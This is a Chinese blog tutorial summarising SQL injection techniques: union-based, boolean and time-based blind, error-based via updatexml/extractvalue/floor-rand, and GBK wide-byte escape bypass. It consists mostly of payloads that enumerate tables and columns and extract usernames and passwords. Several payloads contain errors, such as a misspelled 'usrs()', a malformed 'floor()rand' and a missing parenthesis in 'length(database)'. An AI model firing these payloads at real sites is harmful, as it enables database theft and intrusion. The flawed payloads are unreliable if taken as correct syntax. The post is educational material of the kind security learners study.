SQL注入系列总结一

前言

SQL注入的危害:
(1).数据库信息泄露,数据库中存放用户的信息隐私数据的泄露
(2).服务器被远程控制,被安装后门



一.union注入

unionm注入:使用联合查询进行注入的前提是我们要进行的页面必须有显示位,所谓联合查询注入即是使用union合并两个或者多个select语句的机构集

1.先判断是否注入
2.再判断注入类型:字符型 / 数字型 / 搜索型
3.通过order by 进一步判断字段数(列数)
4.通过order by 判断出列数过后,再进一步在显示位替换成一些mysql的函数
5.接下来即使取当前库中的表

union select 1,group_concat('</br>',table_name),3 from information_schema.tables where table_schema=database() %23

6.取到表后,再取表中字段

union select 1,group_concat('</br>',column_name),3 from information_schema.columns where  table_schema=database() and table_name='users' %23

7.取数据

union select 1,group_concat('</br>',username),group_concat('</br>',password) from users %23

二.布尔盲注

布尔盲注:web页面的返回值都是true或false,所以布尔忙注就是注入后根据页面返回值来得到数据库的一种办法
使用场景:
(1)union注入用不了,没有显示位置
(2)只能根据页面是否返回true或false来判断是否被带入查询

1.先判断是否存在注入
2.再判断注入类型:字符型 / 数字型 / 搜索型
3.判断能使用的注入方法,这里不能使用union注入
?id=1' and 1=1 %23 页面回显正常
?id=1' and 1=2 %23 页面回显不正常
 证明存在盲注
4.首先获取数据库名称的长度

?id=1' and (length(database)>n) %23

 注:只有length>n成立时,页面才回显正常,即可判断名称长度
5.接下来数据库的名称

?id=1 and (ord(substr(database(),1,1))>n) %23

 (1)substr函数从database()(第一个参数)取字母,从第一个字符开始取,取一位
 (2)ord函数将取到的字符转换成相应的数字(根据ascll表),然后判断大小,找出字符
 (3)取数据库名称第二位只需要更改subsrt函数开始截取的位置就可
 (4)可利用burp intruder 模块进行遍历,找出数字n
6.接着跟上面的步骤,获取表的数量

?id=1' and (select count(*) from information_schema.tables where table_schema=database)>n --+

7.获取表的长度,后面依次类推

?id=1' and (ord(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1))>n) --+

三.时间盲注

时间盲注:当布尔注入没有结果(页面显示正常)的时候,我们很难判断注入的代码是否被执行,也就是说到底有没有这个注入点,这时布尔盲注就没办法发挥,基于时间的盲注便应运而生,根据web页面的反应时间来判断
使用场景:union注入用不了,布尔盲注也用不了

前面两步骤相同
1.判断能使用的注入方法,这里不能使用union注入和布尔盲注
?id=1' and 1=1 %23 页面回显正常
?id=1' and 1=2 %23 页面回显不正常
?id=1' and sleep(5) %23 发现页面延迟了5秒响应,证明sleep被带入到数据库做了查询,所以存在时间盲注
2.首先获取数据库名称的长度
 注:if(step1,step2,step3)函数,先执行step1,若step1正确,继续执行step2,直到结束,若step1错误,结束if函数
?id=1' and if((length(database())>7),sleep(5),1) %23 延时5秒
?id=1' and if((length(database())>8),sleep(5),1) %23 不延时5秒
 说明数据库名称长度为7位
3.获取数据库的名称

?id=1' and if((ord(substr(database(),1,1)>n),sleep(1),1) %23

 注:大于114,不大于115,说明当前使用的数据库名称第一位的ascll值为115,所以查看ascll表得知为字符S
4.获取表的数量

?id=1' and if((select count(*) from information_schema.tables where table_schema=database)>n,sleep(5),1) %23

5.获取后面替换step1就行了,依次寻找表名字,字段,,


四.DNSlog盲注

  参考文章:DNSlog注入


五.报错注入

报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误的信息中,这种方法在联合查询受限并且能返回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封。报错注入也称为公式化注入

1.报错利用函数:updatexml()
 payload:

?id=1' and (updatexml(1,concat(0x7e,(select usrs()),0x7e),1));--+

 (1)其中 0x7e 是ascii 编码,解码为 ~
 (2)updatexml是更新xml文档的函数
 (3)函数语法:updatexml(目标xml文档,xml路径,更新内容)
 (4)第二个参数是xml路径,要符合xpath语法的字符串,xml文档zhong查找字符串的位置是用/xx/xx…这种格式,如果写入其他格式会报错
 (5).更改select users()位置的语句即可查询其他信息
2.报错利用函数:extractvalue()
 payload:

?id=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) --+

 析:extractvalue()函数跟updatexml类似,后续的报错注入步骤同updatexml()
3.报错利用函数
 payload:

?id =1' and (select 1 from (select count(*),concat(user(),floor()rand(0)*2))x from information_schema.tables group by x)a --+

 析:主要利用的原理是主键重复,因为floor(rand(0)*2)的重复性,导致group by 语句出错
4.以上是常用的三个报错注入函数,还有更多的报错注入函数利用可参见参考文章


六.宽字节注入

宽字节注入是SQL注入的一种场景,因为gbk编码方式需要两个ascii组合来解码,所以很形象的叫宽字节
原理:当传递一个参数 id=1’ 的时候,当我们输入这个单引号,会被认为是非法字符,会被过滤函数添加 “ \ ” 给过滤,所以我们想要程序接受我们传递的参数中包含单引号,那么就需要把这个转义字符“ \ ”干掉,当http协议传输的时候,是要经过url编码的,如果这个编码完成,传递到服务器时,我们可以在单引号前加上一个 %81 这样的编码,最后这样解码的时候,这个 %81 就会和 “ \ ” 对应的编码相结合按照gbk编码要求去解码,最后只剩下单引号(根据GBK 编码表,两个 ‘\’ 被解码成 ‘乘’ )

条件:
 (1)数据库查询设置为GBK编码
 (2)使用了addslashes(),mysql_real_escape_string,mysql_escape_string()之类的函数
payload:
 (1)?id=1’ 加单引号被转义,前面多了个‘\’
 (2)?id=1%81' 单引号前面加一个%81,构成宽字节,报错了,可见转义过后的 \ 被吃掉了,后面就是常规注入方式了
 如:?id=1%81' and 1=2 --+ 回显不正常
 如:?id=1%81' order by 3 --+ 回显正常
 如:?id=1%81' and 1=2 union select 1,2,3 --+
 这里都可以用union注入和报错注入


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值